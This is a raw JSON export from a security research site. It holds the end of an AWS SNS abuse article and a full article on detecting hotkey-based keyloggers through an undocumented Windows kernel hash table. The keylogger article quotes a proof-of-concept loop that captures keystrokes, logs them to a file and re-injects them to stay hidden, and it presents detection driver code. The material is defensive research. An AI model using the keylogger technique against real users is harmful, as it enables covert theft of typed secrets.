actions, identifying unusual SNS message spikes and flagging anomalies from EC2 or Lambda sources.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Defensive measures should include IAM policy hardening, CloudTrail \u0026 SNS logging, anomaly-based detections and security best practices as recommended by AWS to reduce attack surface.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"AWS SNS is often overlooked in security discussions, but as this research shows, it presents a viable attack vector for adversaries if left unmonitored. We encourage defenders to stay proactive, refine detection logic, and implement robust security controls to mitigate these risks and increase security posture.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Thanks for reading and happy hunting!\"}),`\n`,(0,i.jsx)(e.h1,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/\",rel:\"nofollow\",children:\"https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/\",rel:\"nofollow\",children:\"https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://catalog.workshops.aws/build-sms-program/en-US\",rel:\"nofollow\",children:\"https://catalog.workshops.aws/build-sms-program/en-US\"})}),`\n`]})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(d,n)})):d(n)}var A=v;return S(T);})();\n;return Component;"},"_id":"articles/aws-sns-abuse.mdx","_raw":{"sourceFilePath":"articles/aws-sns-abuse.mdx","sourceFileName":"aws-sns-abuse.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/aws-sns-abuse"},"type":"Article","imageUrl":"/assets/images/aws-sns-abuse/Security Labs Images 7.jpg","readingTime":"31 min read","series":"","url":"/aws-sns-abuse","headings":[{"level":2,"title":"Data Exfiltration via SNS","href":"#data-exfiltration-via-sns"},{"level":3,"title":"Infrastructure Setup","href":"#infrastructure-setup"},{"level":3,"title":"The Workflow in Practice: Exfiltrating Sensitive Credentials","href":"#the-workflow-in-practice-exfiltrating-sensitive-credentials"},{"level":3,"title":"Challenges for Adversaries:","href":"#challenges-for-adversaries"},{"level":3,"title":"Advantages for Adversaries","href":"#advantages-for-adversaries"},{"level":2,"title":"Smishing and Phishing","href":"#smishing-and-phishing"},{"level":3,"title":"Weaponization and Pre-Testing Considerations","href":"#weaponization-and-pre-testing-considerations"},{"level":3,"title":"**Infrastructure Setup**","href":"#infrastructure-setup-1"},{"level":2,"title":"SNS Topic Created by Rare User","href":"#sns-topic-created-by-rare-user"},{"level":3,"title":"Hunting Query (ES|QL) ","href":"#hunting-query-esql--"},{"level":2,"title":"SNS Topic Subscription with Email by Rare User","href":"#sns-topic-subscription-with-email-by-rare-user"},{"level":3,"title":"Hunting Query (ES|QL)","href":"#hunting-query-esql"},{"level":2,"title":"SNS Topic Message Published by Rare User","href":"#sns-topic-message-published-by-rare-user"},{"level":3,"title":"Hunting Query (ES|QL)","href":"#hunting-query-esql-1"},{"level":2,"title":"SNS Direct-to-Phone Messaging Spike","href":"#sns-direct-to-phone-messaging-spike"},{"level":3,"title":"Hunting Query (ES|QL)","href":"#hunting-query-esql-2"}],"author":[{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"}]},{"title":"Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure","slug":"detecting-hotkey-based-keyloggers","date":"2025-03-04","description":"In this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space.","image":"Security Labs Images 12.jpg","tags":["detection engineering","threat detection"],"body":{"raw":"\n# Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure\n\nIn this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space.\n\n## Introduction\n\nIn May 2024, Elastic Security Labs published [an article](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection) highlighting new features added in [Elastic Defend](https://www.elastic.co/guide/en/integrations/current/endpoint.html) (starting with 8.12) to enhance the detection of keyloggers running on Windows. In that post, we covered four types of keyloggers commonly employed in cyberattacks — polling-based keyloggers, hooking-based keyloggers, keyloggers using the Raw Input Model, and keyloggers using DirectInput — and explained our detection methodology. In particular, we introduced a behavior-based detection method using the Microsoft-Windows-Win32k provider within [Event Tracing for Windows](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-) (ETW).\n\nShortly after publication, we were honored to have our article noticed by [Jonathan Bar Or](https://jonathanbaror.com/), Principal Security Researcher at Microsoft. He provided invaluable feedback by pointing out the existence of hotkey-based keyloggers and even shared proof-of-concept (PoC) code with us. Leveraging his PoC code [Hotkeyz](https://github.com/yo-yo-yo-jbo/hotkeyz) as a starting point, this article presents one potential method for detecting hotkey-based keyloggers.\n\n## Overview of Hotkey-based Keyloggers\n\n### What Is a Hotkey?\n\nBefore delving into hotkey-based keyloggers, let’s first clarify what a hotkey is. A hotkey is a type of keyboard shortcut that directly invokes a specific function on a computer by pressing a single key or a combination of keys. For example, many Windows users press **Alt \\+ Tab** to switch between tasks (or, in other words, windows). In this instance, **Alt \\+ Tab** serves as a hotkey that directly triggers the task-switching function. \n\n*(Note: Although other types of keyboard shortcuts exist, this article focuses solely on hotkeys. Also, **all information herein is based on Windows 10 version 22H2 OS Build 19045.5371 without virtualization based security**. Please note that the internal data structures and behavior may differ in other versions of Windows.)*\n\n### Abusing Custom Hotkey Registration Functionality\n\nIn addition to using the pre-configured hotkeys in Windows as shown in the previous example, you can also register your own custom hotkeys. There are various methods to do this, but one straightforward approach is to use the Windows API function [**RegisterHotKey**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerhotkey), which allows a user to register a specific key as a hotkey. For instance, the following code snippet demonstrates how to use the **RegisterHotKey** API to register the **A** key (with a [virtual-key code](https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes) of 0x41) as a global hotkey:\n\n```c\n/*\nBOOL RegisterHotKey(\n [in, optional] HWND hWnd, \n [in] int id,\n [in] UINT fsModifiers,\n [in] UINT vk\n);\n*/\nRegisterHotKey(NULL, 1, 0, 0x41);\n```\n\nAfter registering a hotkey, when the registered key is pressed, a [**WM\\_HOTKEY**](https://learn.microsoft.com/en-us/windows/win32/inputdev/wm-hotkey) message is sent to the message queue of the window specified as the first argument to the **RegisterHotKey** API (or to the thread that registered the hotkey if **NULL** is used). The code below demonstrates a message loop that uses the [**GetMessage**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getmessage) API to check for a **WM\\_HOTKEY** message in the [message queue](https://learn.microsoft.com/en-us/windows/win32/winmsg/about-messages-and-message-queues), and if one is received, it extracts the virtual-key code (in this case, 0x41) from the message.\n\n```c\nMSG msg = { 0 };\nwhile (GetMessage(\u0026msg, NULL, 0, 0)) {\n if (msg.message == WM_HOTKEY) {\n int vkCode = HIWORD(msg.lParam);\n std::cout \u003c\u003c \"WM_HOTKEY received! Virtual-Key Code: 0x\"\n \u003c\u003c std::hex \u003c\u003c vkCode \u003c\u003c std::dec \u003c\u003c std::endl;\n }\n}\n```\n\nIn other words, imagine you're writing something in a notepad application. If the A key is pressed, the character won't be treated as normal text input — it will be recognized as a global hotkey instead.\n\nIn this example, only the A key is registered as a hotkey. However, you can register multiple keys (like B, C, or D) as separate hotkeys at the same time. This means that any key (i.e., any virtual-key code) that can be registered with the **RegisterHotKey** API can potentially be hijacked as a global hotkey. A hotkey-based keylogger abuses this capability to capture the keystrokes entered by the user.\n\nBased on our testing, we found that not only alphanumeric and basic symbol keys, but also those keys when combined with the SHIFT modifier, can all be registered as hotkeys using the **RegisterHotKey** API. This means that a keylogger can effectively monitor every keystroke necessary to steal sensitive information.\n\n### Capturing Keystrokes Stealthily\n\nLet's walk through the actual process of how a hotkey-based keylogger captures keystrokes, using the Hotkeyz hotkey-based keylogger as an example.\n\nIn Hotkeyz, it first registers each alphanumeric virtual-key code — and some additional keys, such as **VK\\_SPACE** and **VK\\_RETURN** — as individual hotkeys by using the **RegisterHotKey** API. \n\nThen, inside the keylogger's message loop, the [**PeekMessageW**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-peekmessagew) API is used to check whether any **WM\\_HOTKEY** messages from these registered hotkeys have appeared in the message queue. When a **WM\\_HOTKEY** message is detected, the virtual-key code it contains is extracted and eventually saved to a text file. Below is an excerpt from the message loop code, highlighting the most important parts.\n\n```c\nwhile (...)\n{\n // Get the message in a non-blocking manner and poll if necessary\n if (!PeekMessageW(\u0026tMsg, NULL, WM_HOTKEY, WM_HOTKEY, PM_REMOVE))\n {\n Sleep(POLL_TIME_MILLIS);\n continue;\n }\n....\n // Get the key from the message\n cCurrVk = (BYTE)((((DWORD)tMsg.lParam) \u0026 0xFFFF0000) \u003e\u003e 16);\n\n // Send the key to the OS and re-register\n (VOID)UnregisterHotKey(NULL, adwVkToIdMapping[cCurrVk]);\n keybd_event(cCurrVk, 0, 0, (ULONG_PTR)NULL);\n if (!RegisterHotKey(NULL, adwVkToIdMapping[cCurrVk], 0, cCurrVk))\n {\n adwVkToIdMapping[cCurrVk] = 0;\n DEBUG_MSG(L\"RegisterHotKey() failed for re-registration (cCurrVk=%lu, LastError=%lu).\", cCurrVk, GetLastError());\n goto lblCleanup;\n }\n // Write to the file\n if (!WriteFile(hFile, \u0026cCurrVk, sizeof(cCurrVk), \u0026cbBytesWritten, NULL))\n {\n....\n```\n\nOne important detail is this: to avoid alerting the user to the keylogger's presence, once the virtual-key code is extracted from the message, the key's hotkey registration is temporarily removed using the [**UnregisterHotKey**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-unregisterhotkey) API. After that, the key press is simulated with [**keybd\\_event**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-keybd_event) so that it appears to the user as if the key was pressed normally. Once the key press is simulated, the key is re-registered using the **RegisterHotKey** API to wait for further input. This is the core mechanism behind how a hotkey-based keylogger operates.\n\n## Detecting Hotkey-Based Keyloggers\n\nNow that we understand what hotkey-based keyloggers are and how they operate, let's explain how to detect them.\n\n### ETW Does Not Monitor the RegisterHotKey API\n\nFollowing the approach described in an earlier article, we first investigated whether [Event Tracing for Windows](https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing) (ETW) could be used to detect hotkey-based keyloggers. Our research quickly revealed that ETW currently does not monitor the **RegisterHotKey** or **UnregisterHotKey** APIs. In addition to reviewing the manifest file for the Microsoft-Windows-Win32k provider, we reverse-engineered the internals of the **RegisterHotKey** API — specifically, the **NtUserRegisterHotKey** function in win32kfull.sys. Unfortunately, we found no evidence that these APIs trigger any ETW events when executed.\n\nThe image below shows a comparison between the decompiled code for **NtUserGetAsyncKeyState** (which is monitored by ETW) and **NtUserRegisterHotKey**. Notice that at the beginning of **NtUserGetAsyncKeyState**, there is a call to **EtwTraceGetAsyncKeyState** — a function associated with logging ETW events — while **NtUserRegisterHotKey** does not contain such a call.\n\n\n \n Although we also considered using ETW providers other than Microsoft-Windows-Win32k to indirectly monitor calls to the **`RegisterHotKey`** API, we found that the detection method using the \"hotkey table\" — which will be introduced next and does not rely on ETW — achieves results that are comparable to or even better than monitoring the **`RegisterHotKey`** API. In the end, we chose to implement this method.\n\n### Detection Using the Hotkey Table (**gphkHashTable**)\n\nAfter discovering that ETW cannot directly monitor calls to the **RegisterHotKey** API, we started exploring detection methods that don't rely on ETW. During our investigation, we wondered, \"Isn't the information for registered hotkeys stored somewhere? And if so, could that data be used for detection?\" Based on that hypothesis, we quickly found a hash table labeled **gphkHashTable** within **NtUserRegisterHotKey**. Searching Microsoft's online documentation revealed no details on **gphkHashTable**, suggesting that it's an undocumented kernel data structure.\n\n\n\nThrough reverse engineering, we discovered that this hash table stores objects containing information about registered hotkeys. Each object holds details such as the virtual-key code and modifiers specified in the arguments to the **RegisterHotKey** API. The right side of Figure 3 shows part of the structure definition for a hotkey object (named **HOT\\_KEY**), while the left side displays how the registered hotkey objects appear when accessed via WinDbg.\n\n\n\nWe also determined that **ghpkHashTable** is structured as shown in Figure 4\\. Specifically, it uses the result of the modulo operation (with 0x80) on the virtual-key code (specified by the RegisterHotKey API) as the index into the hash table. Hotkey objects sharing the same index are linked together in a list, which allows the table to store and manage hotkey information even when the virtual-key codes are identical but the modifiers differ. \n\n \n\nIn other words, by scanning all HOT\\_KEY objects stored in **ghpkHashTable**, we can retrieve details about every registered hotkey. If we find that every main key — for example, each individual alphanumeric key — is registered as a separate hotkey, that strongly indicates the presence of an active hotkey-based keylogger.\n\n## Implementing the Detection Tool\n\nNow, let's move on to implementing the detection tool. Since **gphkHashTable** resides in the kernel space, it cannot be accessed by a user-mode application. For this reason, it was necessary to develop a device driver for detection. More specifically, we decided to develop a device driver that obtains the address of **gphkHashTable** and scans through all the hotkey objects stored in the hash table. If the number of alphanumeric keys registered as hotkeys exceeds a predefined threshold, it will alert us to the potential presence of a hotkey-based keylogger.\n\n### How to Obtain the Address of **gphkHashTable**\n\nWhile developing the detection tool, one of the first challenges we faced was how to obtain the address of **gphkHashTable**. After some consideration, we decided to extract the address directly from an instruction in the **win32kfull.sys** driver that accesses **gphkHashTable**.\n\nThrough reverse engineering, we discovered that within the IsHotKey function — right at the beginning — there is a lea instruction (lea rbx, **gphkHashTable**) that accesses **gphkHashTable**. We used the opcode byte sequence (0x48, 0x8d, 0x1d) from that instruction as a signature to locate the corresponding line, and then computed the address of **gphkHashTable** using the obtained 32-bit (4-byte) offset.\n\n\n\nAdditionally, since **IsHotKey** is not an exported function, we also need to know its address before looking for **gphkHashTable**. Through further reverse engineering, we discovered that the exported function **EditionIsHotKey** calls the **IsHotKey** function. Therefore, we decided to compute the address of IsHotKey within the **EditionIsHotKey** function using the same method described earlier. (For reference, the base address of **win32kfull.sys** can be found using the **PsLoadedModuleList** API.) \n\n### Accessing the Memory Space of **win32kfull.sys**\n\nOnce we finalized our approach to obtaining the address of **gphkHashTable**, we began writing code to access the memory space of **win32kfull.sys** to retrieve that address. One challenge we encountered at this stage was that win32kfull.sys is a *session driver*. Before proceeding further, here’s a brief, simplified explanation of what a *session* is.\n\nIn Windows, when a user logs in, a separate session (with session numbers starting from 1) is assigned to each user. Simply put, the first user to log in is assigned **Session 1**. If another user logs in while that session is active, that user is assigned **Session 2**, and so on. Each user then has their own desktop environment within their assigned session.\n\nKernel data that must be managed separately for each session (i.e., per logged-in user) is stored in an isolated area of kernel memory called *session space*. This includes GUI objects managed by win32k drivers, such as windows and mouse/keyboard input data, ensuring that the screen and input remain properly separated between users.\n\n*(This is a simplified explanation. For a more detailed discussion on sessions, please refer to [James Forshaw’s blog post](https://googleprojectzero.blogspot.com/2016/01/raising-dead.html).)*\n\n \n \nBased on the above, **win32kfull.sys** is known as a *session driver*. This means that, for example, hotkey information registered in the session of the first logged-in user (Session 1) can only be accessed from within that same session. So, how can we work around this limitation? In such cases, [it is known](https://eversinc33.com/posts/kernel-mode-keylogging.html) that [**KeStackAttachProcess**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess) can be used.\n\n**KeStackAttachProcess** allows the current thread to temporarily attach to the address space of a specified process. If we can attach to a GUI process in the target session — more precisely, a process that has loaded **win32kfull.sys** — then we can access **win32kfull.sys** and its associated data within that session. For our implementation, assuming that only one user is logged in, we decided to locate and attach to **winlogon.exe**, the process responsible for handling user logon operations.\n\n### Enumerating Registered Hotkeys\n\nOnce we have successfully attached to the winlogon.exe process and determined the address of **gphkHashTable**, the next step is simply scanning **gphkHashTable** to check the registered hotkeys. Below is an excerpt of that code:\n\n```c\nBOOL CheckRegisteredHotKeys(_In_ const PVOID\u0026 gphkHashTableAddr)\n{\n-[skip]-\n // Cast the gphkHashTable address to an array of pointers.\n PVOID* tableArray = static_cast\u003cPVOID*\u003e(gphkHashTableAddr);\n // Iterate through the hash table entries.\n for (USHORT j = 0; j \u003c 0x80; j++)\n {\n PVOID item = tableArray[j];\n PHOT_KEY hk = reinterpret_cast\u003cPHOT_KEY\u003e(item);\n if (hk)\n {\n CheckHotkeyNode(hk);\n }\n }\n-[skip]-\n}\n\nVOID CheckHotkeyNode(_In_ const PHOT_KEY\u0026 hk)\n{\n if (MmIsAddressValid(hk-\u003epNext)) {\n CheckHotkeyNode(hk-\u003epNext);\n }\n\n // Check whether this is a single numeric hotkey.\n if ((hk-\u003evk \u003e= 0x30) \u0026\u0026 (hk-\u003evk \u003c= 0x39) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n // Check whether this is a single alphabet hotkey.\n else if ((hk-\u003evk \u003e= 0x41) \u0026\u0026 (hk-\u003evk \u003c= 0x5A) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n-[skip]-\n}\n....\nif (CheckRegisteredHotKeys(gphkHashTableAddr) \u0026\u0026 hotkeyCounter \u003e= 36)\n{\n detected = TRUE;\n goto Cleanup;\n}\n```\n\nThe code itself is straightforward: it iterates through each index of the hash table, following the linked list to access every **HOT\\_KEY** object, and checks whether the registered hotkeys correspond to alphanumeric keys without any modifiers. In our detection tool, if every alphanumeric key is registered as a hotkey, an alert is raised, indicating the possible presence of a hotkey-based keylogger. For simplicity, this implementation only targets alphanumeric key hotkeys, although it would be easy to extend the tool to check for hotkeys with modifiers such as **SHIFT**.\n\n### Detecting Hotkeyz\n\nThe detection tool (Hotkey-based Keylogger Detector) has been released below. Detailed usage instructions are provided as well. Additionally, this research was presented at [NULLCON Goa 2025](https://nullcon.net/goa-2025/speaker-windows-keylogger-detection), and the [presentation slides](https://docs.google.com/presentation/d/1B0Gdfpo-ER2hPjDbP_NNoGZ8vXP6X1_BN7VZCqUgH8c/edit?usp=sharing) are available. \n\n[https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector](https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector)\n\nThe following is a demo video showcasing how the Hotkey-based Keylogger Detector detects Hotkeyz.\n\n[DEMO\\_VIDEO.mp4](https://drive.google.com/file/d/1koGLqA5cPlhL8C07MLg9VDD9-SW2FM9e/view?usp=drive_link)\n\n## Acknowledgments\n\nWe would like to express our heartfelt gratitude to Jonathan Bar Or for reading our previous article, sharing his insights on hotkey-based keyloggers, and generously publishing the PoC tool **Hotkeyz**.","code":"var Component=(()=\u003e{var c=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var y=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var k=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),f=(n,e)=\u003e{for(var s in e)o(n,s,{get:e[s],enumerable:!0})},a=(n,e,s,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of y(e))!p.call(n,i)\u0026\u0026i!==s\u0026\u0026o(n,i,{get:()=\u003ee[i],enumerable:!(r=g(e,i))||r.enumerable});return n};var w=(n,e,s)=\u003e(s=n!=null?c(u(n)):{},a(e||!n||!n.__esModule?o(s,\"default\",{value:n,enumerable:!0}):s,n)),m=n=\u003ea(o({},\"__esModule\",{value:!0}),n);var d=k((K,h)=\u003e{h.exports=_jsx_runtime});var T={};f(T,{default:()=\u003eH,frontmatter:()=\u003eb});var t=w(d()),b={title:\"Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure\",slug:\"detecting-hotkey-based-keyloggers\",date:\"2025-03-04\",description:\"In this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space.\",author:[{slug:\"asuka-nakajima\"}],image:\"Security Labs Images 12.jpg\",category:[{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detection engineering\",\"threat detection\"]};function l(n){let e=Object.assign({h1:\"h1\",p:\"p\",h2:\"h2\",a:\"a\",h3:\"h3\",strong:\"strong\",em:\"em\",pre:\"pre\",code:\"code\",img:\"img\",br:\"br\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h1,{id:\"detecting-hotkey-based-keyloggers-using-an-undocumented-kernel-data-structure\",children:\"Detecting Hotkey-Based Keyloggers Using an Undocumented Kernel Data Structure\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this article, we explore what hotkey-based keyloggers are and how to detect them. Specifically, we explain how these keyloggers intercept keystrokes, then present a detection technique that leverages an undocumented hotkey table in kernel space.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In May 2024, Elastic Security Labs published \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection\",rel:\"nofollow\",children:\"an article\"}),\" highlighting new features added in \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/integrations/current/endpoint.html\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" (starting with 8.12) to enhance the detection of keyloggers running on Windows. In that post, we covered four types of keyloggers commonly employed in cyberattacks \\u2014 polling-based keyloggers, hooking-based keyloggers, keyloggers using the Raw Input Model, and keyloggers using DirectInput \\u2014 and explained our detection methodology. In particular, we introduced a behavior-based detection method using the Microsoft-Windows-Win32k provider within \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-\",rel:\"nofollow\",children:\"Event Tracing for Windows\"}),\" (ETW).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Shortly after publication, we were honored to have our article noticed by \",(0,t.jsx)(e.a,{href:\"https://jonathanbaror.com/\",rel:\"nofollow\",children:\"Jonathan Bar Or\"}),\", Principal Security Researcher at Microsoft. He provided invaluable feedback by pointing out the existence of hotkey-based keyloggers and even shared proof-of-concept (PoC) code with us. Leveraging his PoC code \",(0,t.jsx)(e.a,{href:\"https://github.com/yo-yo-yo-jbo/hotkeyz\",rel:\"nofollow\",children:\"Hotkeyz\"}),\" as a starting point, this article presents one potential method for detecting hotkey-based keyloggers.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"overview-of-hotkey-based-keyloggers\",children:\"Overview of Hotkey-based Keyloggers\"}),`\n`,(0,t.jsx)(e.h3,{id:\"what-is-a-hotkey\",children:\"What Is a Hotkey?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Before delving into hotkey-based keyloggers, let\\u2019s first clarify what a hotkey is. A hotkey is a type of keyboard shortcut that directly invokes a specific function on a computer by pressing a single key or a combination of keys. For example, many Windows users press \",(0,t.jsx)(e.strong,{children:\"Alt + Tab\"}),\" to switch between tasks (or, in other words, windows). In this instance, \",(0,t.jsx)(e.strong,{children:\"Alt + Tab\"}),\" serves as a hotkey that directly triggers the task-switching function.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.em,{children:[\"(Note: Although other types of keyboard shortcuts exist, this article focuses solely on hotkeys. Also, \",(0,t.jsx)(e.strong,{children:\"all information herein is based on Windows 10 version 22H2 OS Build 19045.5371 without virtualization based security\"}),\". Please note that the internal data structures and behavior may differ in other versions of Windows.)\"]})}),`\n`,(0,t.jsx)(e.h3,{id:\"abusing-custom-hotkey-registration-functionality\",children:\"Abusing Custom Hotkey Registration Functionality\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In addition to using the pre-configured hotkeys in Windows as shown in the previous example, you can also register your own custom hotkeys. There are various methods to do this, but one straightforward approach is to use the Windows API function \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerhotkey\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"})}),\", which allows a user to register a specific key as a hotkey. For instance, the following code snippet demonstrates how to use the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API to register the \",(0,t.jsx)(e.strong,{children:\"A\"}),\" key (with a \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes\",rel:\"nofollow\",children:\"virtual-key code\"}),\" of 0x41) as a global hotkey:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`/*\nBOOL RegisterHotKey(\n 